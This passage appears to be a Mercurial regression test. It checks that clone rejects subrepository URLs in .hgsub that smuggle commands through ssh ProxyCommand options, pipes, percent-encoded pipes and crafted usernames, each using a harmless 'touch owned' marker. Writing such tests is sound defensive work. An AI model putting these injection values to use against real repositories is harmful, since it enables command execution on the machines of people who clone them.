1823 $ cd ..
1824 $ rm -r malicious-proxycommand-clone
1825 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1826 updating to branch default
1827 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepository "s")
1828 [255]
1829
1830 also check for a pipe
1831
1832 $ cd malicious-proxycommand
1833 $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
1834 $ hg ci -m 'change url to pipe'
1835 $ cd ..
1836 $ rm -r malicious-proxycommand-clone
1837 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1838 updating to branch default
1839 abort: no suitable response from remote hg!
1840 [255]
1841 $ [ ! -f owned ] || echo 'you got owned'
1842
1843 also check that a percent encoded '|' (%7C) doesn't work
1844
1845 $ cd malicious-proxycommand
1846 $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
1847 $ hg ci -m 'change url to percent encoded pipe'
1848 $ cd ..
1849 $ rm -r malicious-proxycommand-clone
1850 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1851 updating to branch default
1852 abort: no suitable response from remote hg!
1853 [255]
1854 $ [ ! -f owned ] || echo 'you got owned'
1855
1856 and bad usernames:
1857 $ cd malicious-proxycommand
1858 $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
1859 $ hg ci -m 'owned username'
1860 $ cd ..
1861 $ rm -r malicious-proxycommand-clone
1862 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1863 updating to branch default
1864 abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepository "s")
1865 [255]
General Comments 0
You need to be logged in to leave comments. Login now